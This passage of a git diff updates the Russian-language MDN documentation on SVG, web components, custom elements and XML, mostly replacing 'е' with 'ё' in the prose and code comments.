      Конечно, это означает, что шаблон не будет масштабироваться, если вы позже измените размер своего объекта. Все три из приведённых выше примеров показаны ниже на прямоугольнике, который слегка удлинён до высоты 300 пикселей, но я должен отметить его не исчерпывающее изображение, и есть другие варианты, доступные в зависимости от вашего приложения.

      Image:SVG_Pattern_Comparison_of_Units.png

      diff --git a/files/ru/web/svg/tutorial/svg_and_css/index.html b/files/ru/web/svg/tutorial/svg_and_css/index.html index 7bdadb6b12..1382c844c6 100644 --- a/files/ru/web/svg/tutorial/svg_and_css/index.html +++ b/files/ru/web/svg/tutorial/svg_and_css/index.html @@ -29,7 +29,7 @@ original_slug: Web/Guide/CSS/Getting_started/SVG_и_CSS
      Простая фигура, Графический элемент
      Разрешенное содержимоеРазрешённое содержимое Любое количество указанных элементов в любом порядке:
      Элементы анимации »
      Элементы описания »
      tref
        -
      • Эта функция, представленная в раннем проекте спецификации, была удалена из нее и поэтому не реализована ({{Bug(273171)}}).
      • +
      • Эта функция, представленная в раннем проекте спецификации, была удалена из неё и поэтому не реализована ({{Bug(273171)}}).
      -

      На момент написания статьи (середина 2011 года), большинство современных браузеров имеет базовую поддержку SVG, в том числе Internet Explorer 9 и выше. Некоторые дополнительные возможности SVG не поддерживаются, либо поддерживаются лишь частично, в определенных браузерах. Для более подробной информации о текущей поддержке SVG, см. SVG tables on caniuse.com, либо в таблицах совместимости SVG element reference, для информации о поддержке отдельных элементов.

      +

      На момент написания статьи (середина 2011 года), большинство современных браузеров имеет базовую поддержку SVG, в том числе Internet Explorer 9 и выше. Некоторые дополнительные возможности SVG не поддерживаются, либо поддерживаются лишь частично, в определённых браузерах. Для более подробной информации о текущей поддержке SVG, см. SVG tables on caniuse.com, либо в таблицах совместимости SVG element reference, для информации о поддержке отдельных элементов.

      В остальные версии можно добавить поддержку SVG, установив дополнительный плагин, например, предоставленный компанией Adobe.

      diff --git a/files/ru/web/svg/tutorial/svg_fonts/index.html b/files/ru/web/svg/tutorial/svg_fonts/index.html index 92cdb57f84..42aba5fd39 100644 --- a/files/ru/web/svg/tutorial/svg_fonts/index.html +++ b/files/ru/web/svg/tutorial/svg_fonts/index.html @@ -5,11 +5,11 @@ translation_of: Web/SVG/Tutorial/SVG_fonts ---

      {{ PreviousNext("Web/SVG/Tutorial/Filter_effects", "Web/SVG/Tutorial/SVG_Image_Tag") }}

      -

      Когда был написан стандарт SVG, поддержка веб-шрифтов еще не была широко распространена в браузерах. Поскольку доступ к правильному файлу шрифта имеет решающее значение для правильного отображения текста, в SVG была добавлена технология описания шрифтов. Она не совместима с другими форматами, такими как PostScript или OTF, это лишь простое средство вложения информации о глифах в SVG при визуализации.
      +

      Когда был написан стандарт SVG, поддержка веб-шрифтов ещё не была широко распространена в браузерах. Поскольку доступ к правильному файлу шрифта имеет решающее значение для правильного отображения текста, в SVG была добавлена технология описания шрифтов. Она не совместима с другими форматами, такими как PostScript или OTF, это лишь простое средство вложения информации о глифах в SVG при визуализации.
       

      SVG-шрифты корректно поддерживаются только в Safari.
      - Эта возможность не была реализована в Internet Explorer, она также была удалена из Chrome 38 (и Opera 25),  разработчики Mozilla отложили ее реализацию на неопределенное время, чтобы сосредоточиться на WOFF. Другие инструменты, такие как плагин Adobe SVG Viewer, Batik и частично Inkscape поддерживают встраиваемые шрифты SVG.

      + Эта возможность не была реализована в Internet Explorer, она также была удалена из Chrome 38 (и Opera 25),  разработчики Mozilla отложили её реализацию на неопределённое время, чтобы сосредоточиться на WOFF. Другие инструменты, такие как плагин Adobe SVG Viewer, Batik и частично Inkscape поддерживают встраиваемые шрифты SVG.

      Элемент {{ SVGElement("font") }} используется для определения SVG-шрифта.

      @@ -36,17 +36,17 @@ translation_of: Web/SVG/Tutorial/SVG_fonts </font> -

      Начнем с элемента {{ SVGElement("font") }}. Он имеет атрибут id, который позволяет ему ссылаться через URI (см. ниже). Атрибут horiz-adv-x определяет, насколько широкий символ в среднем по сравнению с путями для отдельных глифов. Обычно подходит значение 1000. Существует несколько сопутствующих атрибутов, которые помогают определить ограничительные рамки. 

      +

      Начнём с элемента {{ SVGElement("font") }}. Он имеет атрибут id, который позволяет ему ссылаться через URI (см. ниже). Атрибут horiz-adv-x определяет, насколько широкий символ в среднем по сравнению с путями для отдельных глифов. Обычно подходит значение 1000. Существует несколько сопутствующих атрибутов, которые помогают определить ограничительные рамки. 

      -

      Элемент {{ SVGElement("font-face") }} является в SVG эквивалентом объявления шрифта с помощью CSS-свойства @font-face. Он определяет основные свойства финального шрифта, такие как вес, стиль и т. д. В приведенном выше примере, первое и самое важное свойство, которое должно быть определено - это font-family, на значение которого затем можно ссылаться в свойствах CSS и SVG. Атрибуты font-weight и font-style имеют ту же цель, что и соответствующие свойства CSS. Все последующие атрибуты - это команды рендеринга для механизма компоновки шрифтов, задающие, к примеру, какая средняя высота символов направленных вверх или вниз выносных элементов.

      +

      Элемент {{ SVGElement("font-face") }} является в SVG эквивалентом объявления шрифта с помощью CSS-свойства @font-face. Он определяет основные свойства финального шрифта, такие как вес, стиль и т. д. В приведённом выше примере, первое и самое важное свойство, которое должно быть определено - это font-family, на значение которого затем можно ссылаться в свойствах CSS и SVG. Атрибуты font-weight и font-style имеют ту же цель, что и соответствующие свойства CSS. Все последующие атрибуты - это команды рендеринга для механизма компоновки шрифтов, задающие, к примеру, какая средняя высота символов направленных вверх или вниз выносных элементов.

      -

      Дочерний элемент {{ SVGElement("font-face-src") }} соответствует свойству src для атрибута @font-face в CSS. Вы можете указать внешние источники для определения шрифтов с помощью элементов {{ SVGElement("font-face-name") }} и {{ SVGElement("font-face-uri") }}. В приведенном выше примере указано, что если у рендерера имеется локальный доступный шрифт с именем «Super Sans Bold», он должен использовать его.

      +

      Дочерний элемент {{ SVGElement("font-face-src") }} соответствует свойству src для атрибута @font-face в CSS. Вы можете указать внешние источники для определения шрифтов с помощью элементов {{ SVGElement("font-face-name") }} и {{ SVGElement("font-face-uri") }}. В приведённом выше примере указано, что если у рендерера имеется локальный доступный шрифт с именем «Super Sans Bold», он должен использовать его.

      Следующий элемент за {{ SVGElement("font-face-src") }} - это {{ SVGElement("missing-glyph") }}. Он определяет, что должно отображаться, если символ в шрифте не был найден и если нет запасного варианта. Он также показывает, как создаются глифы: добавлением в него любого графического контента SVG. В нем вы можете использовать буквально любые элементы SVG, даже {{ SVGElement("filter") }}, {{ SVGElement("a") }} или {{ SVGElement("script") }}. Однако для простых глифов вы можете просто добавить атрибут d - он определяет форму для глифа точно так же, как работают стандартные пути SVG.

      -

      Сами глифы затем определяются элементами {{ SVGElement("glyph") }}. Наиболее важным атрибутом является unicode. Он определяет код кодировки unicode, представленный этим символом. Если вы указываете атрибут {{htmlattrxref("lang")}} на глифе, вы можете дополнительно ограничить его определенными языками (представленными xml:lang). Вы можете использовать произвольный SVG для определения глифа, и это позволит вам создать замечательные эффекты.
      +

      Сами глифы затем определяются элементами {{ SVGElement("glyph") }}. Наиболее важным атрибутом является unicode. Он определяет код кодировки unicode, представленный этим символом. Если вы указываете атрибут {{htmlattrxref("lang")}} на глифе, вы можете дополнительно ограничить его определёнными языками (представленными xml:lang). Вы можете использовать произвольный SVG для определения глифа, и это позволит вам создать замечательные эффекты.

      - Есть еще два элемента, которые могут быть определены внутри шрифта: {{ SVGElement("hkern") }} и {{ SVGElement("vkern") }}. Каждый из них содержит ссылки не менее чем на два символа (атрибуты u1 и u2) и атрибут k, который определяет, на сколько должно быть уменьшено расстояние между этими символами. Ниже показан пример инструкции размещения символов «A» и «V» на стандартном расстоянии.

      + Есть ещё два элемента, которые могут быть определены внутри шрифта: {{ SVGElement("hkern") }} и {{ SVGElement("vkern") }}. Каждый из них содержит ссылки не менее чем на два символа (атрибуты u1 и u2) и атрибут k, который определяет, на сколько должно быть уменьшено расстояние между этими символами. Ниже показан пример инструкции размещения символов «A» и «V» на стандартном расстоянии.

      <hkern u1="A" u2="V" k="20" />
       
      diff --git a/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html b/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html index 7f993c7bf8..a897157fb4 100644 --- a/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html +++ b/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html @@ -55,7 +55,7 @@ translation_of: Web/SVG/Tutorial/SVG_In_HTML_Introduction

      Примечание

      -

      В примере представлен обычный XHTML, CSS и JavaScript код. Здесь есть лишь одна особенность, это наличие SVG элемента. Этот элемент объявлен в специальном пространстве имен SVG, содержит градиент и две фигуры заполненные градиентом. По замыслу, когда пользователь введет что-нибудь неправильное, то скрипт установит для BODY класс .invalid, где правила стиля изменяют цвет градиента и делают видимым сообщение об ошибке.

      +

      В примере представлен обычный XHTML, CSS и JavaScript код. Здесь есть лишь одна особенность, это наличие SVG элемента. Этот элемент объявлен в специальном пространстве имён SVG, содержит градиент и две фигуры заполненные градиентом. По замыслу, когда пользователь введёт что-нибудь неправильное, то скрипт установит для BODY класс .invalid, где правила стиля изменяют цвет градиента и делают видимым сообщение об ошибке.

      Такой способ имеет следующие пункты в свою пользу:

      @@ -98,7 +98,7 @@ img.setAttributeNS("http://www.w3.org/1999/xlink", "xlink:href", "move.png");

      slice - тоже сохраняет пропорции, но масштабирует по максимальной границе области просмотра, обрезая часть изображения, которая не поместилась в область

      -

      Также есть спецификатор none который означает, что изображение заполнит область путем масштабирования сторон, не сохраняя пропорции (растянет).

      +

      Также есть спецификатор none который означает, что изображение заполнит область путём масштабирования сторон, не сохраняя пропорции (растянет).

       preserveAspectRatio="none"
      @@ -109,7 +109,7 @@ img.setAttributeNS("http://www.w3.org/1999/xlink", "xlink:href", "move.png");

       

      diff --git a/files/ru/web/svg/tutorial/texts/index.html b/files/ru/web/svg/tutorial/texts/index.html index 1083b55a4d..a4e0a76305 100644 --- a/files/ru/web/svg/tutorial/texts/index.html +++ b/files/ru/web/svg/tutorial/texts/index.html @@ -38,22 +38,22 @@ translation_of: Web/SVG/Tutorial/Texts

      Элемент tspan имеет следующие атрибуты:

      x
      - Задает новую координату по Х (аналогично абсолютному позиционированию в CSS) для вложенного текста. Что перезаписывает, установленную по умолчанию позицию. Атрибут может также содержать набор чисел, которые поочередно применяются к каждому символу tspan.

      + Задаёт новую координату по Х (аналогично абсолютному позиционированию в CSS) для вложенного текста. Что перезаписывает, установленную по умолчанию позицию. Атрибут может также содержать набор чисел, которые поочерёдно применяются к каждому символу tspan.

      dx
      - Задает смещение по горизонтали dx относительно текущей позиции. Здесь вы также можете задавать набор значений, которые последовательно применяются к каждому символу, устанавливая смещение относительно предыдущего.

      + Задаёт смещение по горизонтали dx относительно текущей позиции. Здесь вы также можете задавать набор значений, которые последовательно применяются к каждому символу, устанавливая смещение относительно предыдущего.

      Аналогично, для вертикального перемещения текста имеются y и dy атрибуты.

      rotate
      - Поворачивает символ на заданный угол. Атрибуту можно задавать набор чисел, которые поочередно применяются к символам. Если количество чисел в наборе меньше чем количество букв, то угол для всех оставшихся символов будет равен последнему значению в наборе.
      + Поворачивает символ на заданный угол. Атрибуту можно задавать набор чисел, которые поочерёдно применяются к символам. Если количество чисел в наборе меньше чем количество букв, то угол для всех оставшихся символов будет равен последнему значению в наборе.

      textLength
      - Атрибут строго задает длину строки. Он предназначен для того, чтобы механизм рендеринга мог точно настраивать позиции глифов, когда измеренная длина текста не соответствует той, что указана в атрибуте.

      + Атрибут строго задаёт длину строки. Он предназначен для того, чтобы механизм рендеринга мог точно настраивать позиции глифов, когда измеренная длина текста не соответствует той, что указана в атрибуте.

      tref

      -

      Элемент tref позволяет ссылаться на уже существующий текст, эффективно копируя его на свое место. Вы можете использовать атрибут xlink:href чтобы указать на  элемент, текст которого должен быть скопирован. Затем вы можете изменить его стили и внешний вид независимо от источника. 

      +

      Элемент tref позволяет ссылаться на уже существующий текст, эффективно копируя его на своё место. Вы можете использовать атрибут xlink:href чтобы указать на  элемент, текст которого должен быть скопирован. Затем вы можете изменить его стили и внешний вид независимо от источника. 

      <text id="example">This is an example text.</text>
       
      diff --git a/files/ru/web/svg/tutorial/tools_for_svg/index.html b/files/ru/web/svg/tutorial/tools_for_svg/index.html
      index 97a63678a3..3962c6a5fe 100644
      --- a/files/ru/web/svg/tutorial/tools_for_svg/index.html
      +++ b/files/ru/web/svg/tutorial/tools_for_svg/index.html
      @@ -17,7 +17,7 @@ translation_of: Web/SVG/Tutorial/Tools_for_SVG
       
       

      Очень важно иметь в инструментарии приличную графическую программу. Inkscape предлагает современную векторную графику с открытым исходным кодом.

      -

      Кроме того, SVG является ее родным форматом. Для хранения специфичных для Inkscape данных, файл SVG расширяется элементами и атрибутами в пользовательском пространстве имен, что не мешает выбрать экспорт и в виде простого SVG.

      +

      Кроме того, SVG является её родным форматом. Для хранения специфичных для Inkscape данных, файл SVG расширяется элементами и атрибутами в пользовательском пространстве имён, что не мешает выбрать экспорт и в виде простого SVG.

      Adobe Illustrator

      diff --git a/files/ru/web/tutorials/index.html b/files/ru/web/tutorials/index.html index 2079a9e828..1725d6c1d9 100644 --- a/files/ru/web/tutorials/index.html +++ b/files/ru/web/tutorials/index.html @@ -35,7 +35,7 @@ translation_of: Web/Tutorials
      HTML5 Tutorials (HTML5 Rocks)
      Совершите экскурсию в код, который использует возможности HTML5.
      Semantics in HTML5 (A List Apart)
      -
      Изучите рабочую разметку, обеспечивающую обратную совместимость, расширяемую и поддерживающую будущие изменения (совместимость вперед).
      +
      Изучите рабочую разметку, обеспечивающую обратную совместимость, расширяемую и поддерживающую будущие изменения (совместимость вперёд).
      Canvas Tutorial
      Узнайте, как рисовать с помощью скриптов, используя элемент canvas.
      HTML5 Doctor
      @@ -73,7 +73,7 @@ translation_of: Web/Tutorials
      Essential JavaScript Design Patterns (Addy Osmani)
      Введение в основы шаблонов проектирования JavaScript.
      The JavaScript Programming Language (YUI Blog)
      -
      Douglas Crockford исследует язык, какой он есть сегодня, и как он пришел, чтобы быть.
      +
      Douglas Crockford исследует язык, какой он есть сегодня, и как он пришёл, чтобы быть.
      Introduction to Object-Oriented JavaScript
      Узнайте об ООП в JavaScript.
      @@ -93,7 +93,7 @@ translation_of: Web/Tutorials
      Learning Advanced JavaScript (John Resig)
      Гид по "продвинутому" JavaScript от John Resig.
      Introducing the JavaScript DOM (Elated)
      -
      Что такое Document Object Model, и зачем она нужна? Эта статья дает вам постепенное введение в эту мощную способность JavaScript.
      +
      Что такое Document Object Model, и зачем она нужна? Эта статья даёт вам постепенное введение в эту мощную способность JavaScript.
      An Inconvenient API: The Theory of the DOM (YUI Blog)
      Douglas Crockford объясняет Document Object Model.
      Advanced JavaScript (YUI Blog)
      @@ -112,7 +112,7 @@ translation_of: Web/Tutorials
      Exploring ES6 (Dr. Axel Rauschmayer)
      -
      Надежная и подробная информация об ECMAScript 2015.
      +
      Надёжная и подробная информация об ECMAScript 2015.
      JavaScript Videos (GitHub)
      Видео о JavaScript.
      @@ -127,7 +127,7 @@ translation_of: Web/Tutorials
      CSS Getting Started
      -
      Этот учебник познакомит вас с каскадными таблицами стилей (CSS). Он проведет вас через основные особенности CSS и предложит практические примеры, которые можно попробовать на вашем компьютере.
      +
      Этот учебник познакомит вас с каскадными таблицами стилей (CSS). Он проведёт вас через основные особенности CSS и предложит практические примеры, которые можно попробовать на вашем компьютере.
      CSS Selector Classes (Wikiversity)
      Что такое классы в CSS?
      External CSS (Wikiversity)
      @@ -154,7 +154,7 @@ translation_of: Web/Tutorials
      Progressive Enhancement with CSS (A List Apart)
      Прогрессивное улучшение в веб-страницы с помощью CSS.
      Fluid Grids (A List Apart)
      -
      Дизайн верстки, который плавно изменяется вместе с размерами окна, основанный на сетке.
      +
      Дизайн вёрстки, который плавно изменяется вместе с размерами окна, основанный на сетке.

      Продвинутый уровень

      diff --git a/files/ru/web/web_components/index.html b/files/ru/web/web_components/index.html index a6b79d100e..55d782175d 100644 --- a/files/ru/web/web_components/index.html +++ b/files/ru/web/web_components/index.html @@ -11,7 +11,7 @@ translation_of: Web/Web_Components

      Как разработчики, все мы знаем, что как можно больше повторного использования кода - хорошая идея. Традиционно это было не так просто для пользовательских структур разметки - подумайте о сложном HTML (и связанном с ним стиле и сценарии), которые вам иногда приходилось писать для визуализации пользовательских элементов управления UI, и о том, как их многократное использование может превратить вашу страницу в беспорядок если вы не будете осторожны.

      -

      Веб-компоненты направлены на решение таких проблем - они состоят из трех основных технологий, которые можно использовать вместе для создания универсальных настраиваемых элементов с инкапсулированной функциональностью, которые можно повторно использовать где угодно, не опасаясь коллизий кода.

      +

      Веб-компоненты направлены на решение таких проблем - они состоят из трёх основных технологий, которые можно использовать вместе для создания универсальных настраиваемых элементов с инкапсулированной функциональностью, которые можно повторно использовать где угодно, не опасаясь коллизий кода.

      • Пользовательские элементы: набор API-интерфейсов JavaScript, позволяющих определять пользовательские элементы и их поведение, которые затем можно использовать по желанию в пользовательском интерфейсе.
      • @@ -23,7 +23,7 @@ translation_of: Web/Web_Components
        1. Создайте класс, в котором вы указываете функциональность своего веб-компонента, используя синтаксис классов ECMAScript 2015 (дополнительную информацию см. в разделе Классы).
        2. -
        3. Зарегистрируйте свой новый настраиваемый элемент с помощью метода {{domxref("CustomElementRegistry.define()")}}, передав ему имя элемента, который будет определен, класс или функцию, в которых указана его функциональность, и, необязательно, от какого элемента он наследуется.
        4. +
        5. Зарегистрируйте свой новый настраиваемый элемент с помощью метода {{domxref("CustomElementRegistry.define()")}}, передав ему имя элемента, который будет определён, класс или функцию, в которых указана его функциональность, и, необязательно, от какого элемента он наследуется.
        6. При необходимости прикрепите теневую DOM к настраиваемому элементу с помощью метода {{domxref("Element.attachShadow()")}}. Добавьте дочерние элементы, обработчики событий и т.д. в теневой DOM, используя обычные методы DOM.
        7. При необходимости определите HTML template, используя {{htmlelement("template")}} и {{htmlelement("slot")}}. Снова используйте обычные методы DOM, чтобы клонировать шаблон и прикрепить его к вашей теневой DOM.
        8. Используйте свой настраиваемый элемент везде, где хотите, на своей странице, как и любой обычный элемент HTML.
        9. @@ -50,7 +50,7 @@ translation_of: Web/Web_Components
          {{domxref("Window.customElements")}}
          Возвращает ссылку на объект CustomElementRegistry.
          Обратные вызовы жизненного цикла
          -
          Специальные колбэк-функции, определенные внутри определения класса настраиваемого элемента, которые влияют на его поведение: +
          Специальные колбэк-функции, определённые внутри определения класса настраиваемого элемента, которые влияют на его поведение:
          • connectedCallback: вызывается, когда настраиваемый элемент впервые подключается к DOM документа.
          • disconnectedCallback: вызывается, когда пользовательский элемент отключается от DOM документа.
          • @@ -62,13 +62,13 @@ translation_of: Web/Web_Components
            • Глобальный атрибут HTML {{htmlattrxref("is")}}: позволяет указать, что стандартный элемент HTML должен вести себя как зарегистрированный встроенный пользовательский элемент.
            • -
            • Параметр «is» метода {{domxref("Document.createElement()")}}: позволяет создать экземпляр стандартного HTML-элемента, который ведет себя как заданный зарегистрированный настраиваемый встроенный элемент.
            • +
            • Параметр «is» метода {{domxref("Document.createElement()")}}: позволяет создать экземпляр стандартного HTML-элемента, который ведёт себя как заданный зарегистрированный настраиваемый встроенный элемент.
            Псевдоклассы CSS
            Псевдоклассы, относящиеся конкретно к настраиваемым элементам:
              -
            • {{cssxref(":defined")}}: Соответствует любому заданному элементу, включая встроенные элементы и настраиваемые элементы, определенные с помощью CustomElementRegistry.define().
            • +
            • {{cssxref(":defined")}}: Соответствует любому заданному элементу, включая встроенные элементы и настраиваемые элементы, определённые с помощью CustomElementRegistry.define().
            • {{cssxref(":host")}}: Выбирает теневой хост теневого DOM, содержащего CSS, внутри которого он используется.
            • {{cssxref(":host()")}}: Выбирает теневой хост теневой DOM, содержащий CSS, внутри которого он используется (так что вы можете выбрать пользовательский элемент изнутри его теневой DOM) - но только если селектор, указанный в качестве параметра функции, совпадает с теневым хостом.
            • {{cssxref(":host-context()")}}: Выбирает теневой хост теневой DOM, содержащий CSS, внутри которого он используется (так что вы можете выбрать пользовательский элемент изнутри его теневой DOM) - но только если селектор, указанный в качестве параметра функции, совпадает с предком(-ами) теневого хоста в том месте, где он находится внутри иерархии DOM.
            • @@ -93,14 +93,14 @@ translation_of: Web/Web_Components
              Расширения интерфейса Element, связанные с теневой DOM:
              • Метод {{domxref("Element.attachShadow()")}} прикрепляет теневое дерево DOM к указанному элементу.
              • -
              • Свойство {{domxref ("Element.shadowRoot")}} возвращает теневой корневой узел, прикрепленный к указанному элементу, или значение null, если корневой узел не прикреплен.
              • +
              • Свойство {{domxref ("Element.shadowRoot")}} возвращает теневой корневой узел, прикреплённый к указанному элементу, или значение null, если корневой узел не прикреплен.
              Соответствующие дополнения {{domxref("Node")}}
              Дополнения к интерфейсу Node, относящиеся к теневой DOM:
              • Метод {{domxref("Node.getRootNode()")}} возвращает корень объекта контекста, который необязательно включает теневой корневой узел, если он доступен.
              • -
              • Свойство {{domxref("Node.isConnected")}} возвращает логическое значение, указывающее, подключен ли узел (прямо или косвенно) к объекту контекста, например объект {{domxref("Document")}} в случае обычного DOM или {{domxref("ShadowRoot")}} в случае теневого DOM.
              • +
              • Свойство {{domxref("Node.isConnected")}} возвращает логическое значение, указывающее, подключён ли узел (прямо или косвенно) к объекту контекста, например объект {{domxref("Document")}} в случае обычного DOM или {{domxref("ShadowRoot")}} в случае теневого DOM.
              Расширения {{domxref("Event")}}
              @@ -126,7 +126,7 @@ translation_of: Web/Web_Components
              {{domxref("Element")}} extensions
              Расширения интерфейса Element, относящиеся к слотам:
                -
              • {{domxref("Element.slot")}}: Возвращает имя слота теневого DOM, прикрепленного к элементу.
              • +
              • {{domxref("Element.slot")}}: Возвращает имя слота теневого DOM, прикреплённого к элементу.
              Псевдоэлементы CSS
              @@ -141,7 +141,7 @@ translation_of: Web/Web_Components

              Примеры

              -

              Мы создаем ряд примеров в репозитории GitHub с примерами веб-компонентов. Со временем будет добавлено больше.

              +

              Мы создаём ряд примеров в репозитории GitHub с примерами веб-компонентов. Со временем будет добавлено больше.

              Спецификации

              @@ -190,13 +190,13 @@ translation_of: Web/Web_Components
            • Edge работает над реализацией.
            -

            Для получения подробной информации о поддержке определенных функций браузером обратитесь к перечисленным выше справочным страницам.

            +

            Для получения подробной информации о поддержке определённых функций браузером обратитесь к перечисленным выше справочным страницам.

            Смотрите также

            • webcomponents.org - сайт с примерами веб-компонентов, учебными пособиями и другой информацией.
            • -
            • FAST - это библиотека веб-компонентов, созданная Microsoft, которая предлагает несколько пакетов для использования в зависимости от потребностей вашего проекта. Fast Element - это легкое средство для простого создания производительных, эффективных с точки зрения памяти и совместимых со стандартами веб-компонентов. Fast Foundation - это библиотека классов, шаблонов и других утилит веб-компонентов, построенная на основе fast-element, предназначенная для создания зарегистрированных веб-компонентов.
            • +
            • FAST - это библиотека веб-компонентов, созданная Microsoft, которая предлагает несколько пакетов для использования в зависимости от потребностей вашего проекта. Fast Element - это лёгкое средство для простого создания производительных, эффективных с точки зрения памяти и совместимых со стандартами веб-компонентов. Fast Foundation - это библиотека классов, шаблонов и других утилит веб-компонентов, построенная на основе fast-element, предназначенная для создания зарегистрированных веб-компонентов.
            • Hybrids - библиотека веб-компонентов с открытым исходным кодом, которая предпочитает простые объекты и чистые функции class и this синтаксису. Он предоставляет простой и функциональный API для создания пользовательских элементов.
            • Polymer - каркас веб-компонентов Google - набор полифилов, улучшений и примеров. На данный момент самый простой способ кроссбраузерно использовать веб-компоненты.
            • Snuggsi - Простые веб-компоненты размером ~ 1 КБ, включая полифил - Все, что вам нужно, это браузер и базовое понимание классов HTML, CSS и JavaScript для продуктивной работы.
            • diff --git a/files/ru/web/web_components/using_custom_elements/index.html b/files/ru/web/web_components/using_custom_elements/index.html index 01d37d7fe9..d387daf26a 100644 --- a/files/ru/web/web_components/using_custom_elements/index.html +++ b/files/ru/web/web_components/using_custom_elements/index.html @@ -43,7 +43,7 @@ original_slug: Web/Web_Components/Использование_пользоват } }
      -

      Это простой пример, но его можно дополнить. Можно определить специальные lifecycle callbacks, которые будут вызваны в определенные моменты жизненного цикла элемента. Например, connectedCallback будет вызван, когда пользовательский элемент оказывается впервые встроен в DOM, а attributeChangedCallback вызывается, когда пользовательскому элементу добавляют, удаляют или изменяют какой-то атрибут.

      +

      Это простой пример, но его можно дополнить. Можно определить специальные lifecycle callbacks, которые будут вызваны в определённые моменты жизненного цикла элемента. Например, connectedCallback будет вызван, когда пользовательский элемент оказывается впервые встроен в DOM, а attributeChangedCallback вызывается, когда пользовательскому элементу добавляют, удаляют или изменяют какой-то атрибут.

      Подробнее об этом в секции {{anch("Using the lifecycle callbacks")}} ниже.

      @@ -56,7 +56,7 @@ original_slug: Web/Web_Components/Использование_пользоват

      Разбор простых примеров

      -

      А сейчас давайте разберем еще несколько простых примеров, иллюстрирующих подробности создания пользовательских элементов.

      +

      А сейчас давайте разберём ещё несколько простых примеров, иллюстрирующих подробности создания пользовательских элементов.

      Автономные пользовательские элементы

      @@ -77,7 +77,7 @@ original_slug: Web/Web_Components/Использование_пользоват

      В этом фрагменте кода содержится определение конструктора {{jsxref("Classes.constructor","constructor")}} класса, которое всегда начинается с вызова super() чтобы отработала цепочка прототипного наследования.

      -

      Внутри конструктора мы определяем всю функциональность, которую получит элемент при создании его объекта. В данном случае мы добавляем shadow root к пользовательскому элементу, производим манипуляции с DOM, чтобы создать определенную структуру shadow DOM внутри элемента — которая затем присоединяется к shadow root — и наконец добавляем CSS к shadow root, чтобы задать его стиль.

      +

      Внутри конструктора мы определяем всю функциональность, которую получит элемент при создании его объекта. В данном случае мы добавляем shadow root к пользовательскому элементу, производим манипуляции с DOM, чтобы создать определённую структуру shadow DOM внутри элемента — которая затем присоединяется к shadow root — и наконец добавляем CSS к shadow root, чтобы задать его стиль.

      // Создание shadow root
       var shadow = this.attachShadow({mode: 'open'});
      @@ -91,7 +91,7 @@ icon.setAttribute('tabindex', 0);
       var info = document.createElement('span');
       info.setAttribute('class','info');
       
      -// Берем содержимое атрибута и добавляем его в span
      +// Берём содержимое атрибута и добавляем его в span
       var text = this.getAttribute('text');
       info.textContent = text;
       
      @@ -106,7 +106,7 @@ var img = document.createElement('img');
       img.src = imgUrl;
       icon.appendChild(img);
       
      -// Создаем CSS для shadow dom
      +// Создаём CSS для shadow dom
       var style = document.createElement('style');
       
       style.textContent = '.wrapper {' +
      @@ -119,7 +119,7 @@ shadow.appendChild(wrapper);
       wrapper.appendChild(icon);
       wrapper.appendChild(info);
      -

      Наконец, регистрируем пользовательский элемент в CustomElementRegistry с помощью метода define(), который упоминался ранее — в качестве параметров мы передаем ему имя элемента и имя класса, который содержит его функциональность:

      +

      Наконец, регистрируем пользовательский элемент в CustomElementRegistry с помощью метода define(), который упоминался ранее — в качестве параметров мы передаём ему имя элемента и имя класса, который содержит его функциональность:

      customElements.define('popup-info', PopUpInfo);
      @@ -164,7 +164,7 @@ wrapper.appendChild(info); </ul> -

      Вы задаете элемент <ul> как обычно, но указываете имя модифицированного элемента в атрибуте is.

      +

      Вы задаёте элемент <ul> как обычно, но указываете имя модифицированного элемента в атрибуте is.

      Замечание: Полный исходный код на JavaScript доступен здесь.

      @@ -177,7 +177,7 @@ wrapper.appendChild(info);
      • connectedCallback: Срабатывает, когда пользовательский элемент впервые добавляется в DOM.
      • disconnectedCallback: Срабатывает, когда пользовательский элемент удаляется из DOM.
      • -
      • adoptedCallback: Срабатывает, когда пользовательский элемент перемещен в новый документ.
      • +
      • adoptedCallback: Срабатывает, когда пользовательский элемент перемещён в новый документ.
      • attributeChangedCallback: Срабатывает, когда пользовательскому элементу добавляют, удаляют или изменяют атрибут.
      @@ -216,14 +216,14 @@ shadow.appendChild(div); updateStyle(this); } -

      колбэки disconnectedCallback() и adoptedCallback() логируют простые сообщения на консоль, которые уведомляют нас, что элемент удален из DOM или перемещен на другую страницу:

      +

      колбэки disconnectedCallback() и adoptedCallback() логируют простые сообщения на консоль, которые уведомляют нас, что элемент удалён из DOM или перемещён на другую страницу:

      disconnectedCallback() {
         console.log('Пользовательский элемент квадрат удален.');
       }
       
       adoptedCallback() {
      -  console.log('Пользовательский элемент квадрат перемещен на другую страницу.');
      +  console.log('Пользовательский элемент квадрат перемещён на другую страницу.');
       }

      Колбэк attributeChangedCallback() запускается когда один из атрибутов элемента меняется. Как видно из его свойств, можно воздействовать на индивидуальные атрибуты, глядя на их имена, и новые и старые значения атрибутов. В данном случае, однако, мы просто снова запускаем функцию updateStyle() чтобы убедиться, что атрибуты квадрата получили новые значения:

      diff --git a/files/ru/web/xml/xml_introduction/index.html b/files/ru/web/xml/xml_introduction/index.html index ef5b2732a9..f97db1f1cd 100644 --- a/files/ru/web/xml/xml_introduction/index.html +++ b/files/ru/web/xml/xml_introduction/index.html @@ -7,7 +7,7 @@ tags: - XML translation_of: Web/XML/XML_introduction --- -

      XML - это язык разметки подобный HTML. Расшифровывается как (англ. Extensible Markup Language - Расширяемый Язык Разметки) и является рекомендацией сообщества W3C в качестве языка разметки общего назначения (W3C recommended). В отличии от остальных языков разметки, XML сам по себе не определен (это означает, что вы должны сами определять используемые теги). Основной целью XML является передача данных между разными системами (даже концептуально разными), такими как интернет.

      +

      XML - это язык разметки подобный HTML. Расшифровывается как (англ. Extensible Markup Language - Расширяемый Язык Разметки) и является рекомендацией сообщества W3C в качестве языка разметки общего назначения (W3C recommended). В отличии от остальных языков разметки, XML сам по себе не определён (это означает, что вы должны сами определять используемые теги). Основной целью XML является передача данных между разными системами (даже концептуально разными), такими как интернет.

      Много языков базируются на XML; Некоторые примеры: XHTML, MathML, SVG, XUL, XBL, RSS, и RDF. Вы можете создать свой.

      @@ -49,7 +49,7 @@ translation_of: Web/XML/XML_introduction </message> -

       Документ содержащий неопределенный тег является не корректным. Например, если мы не определили тег <warning>, документ не корректен.

      +

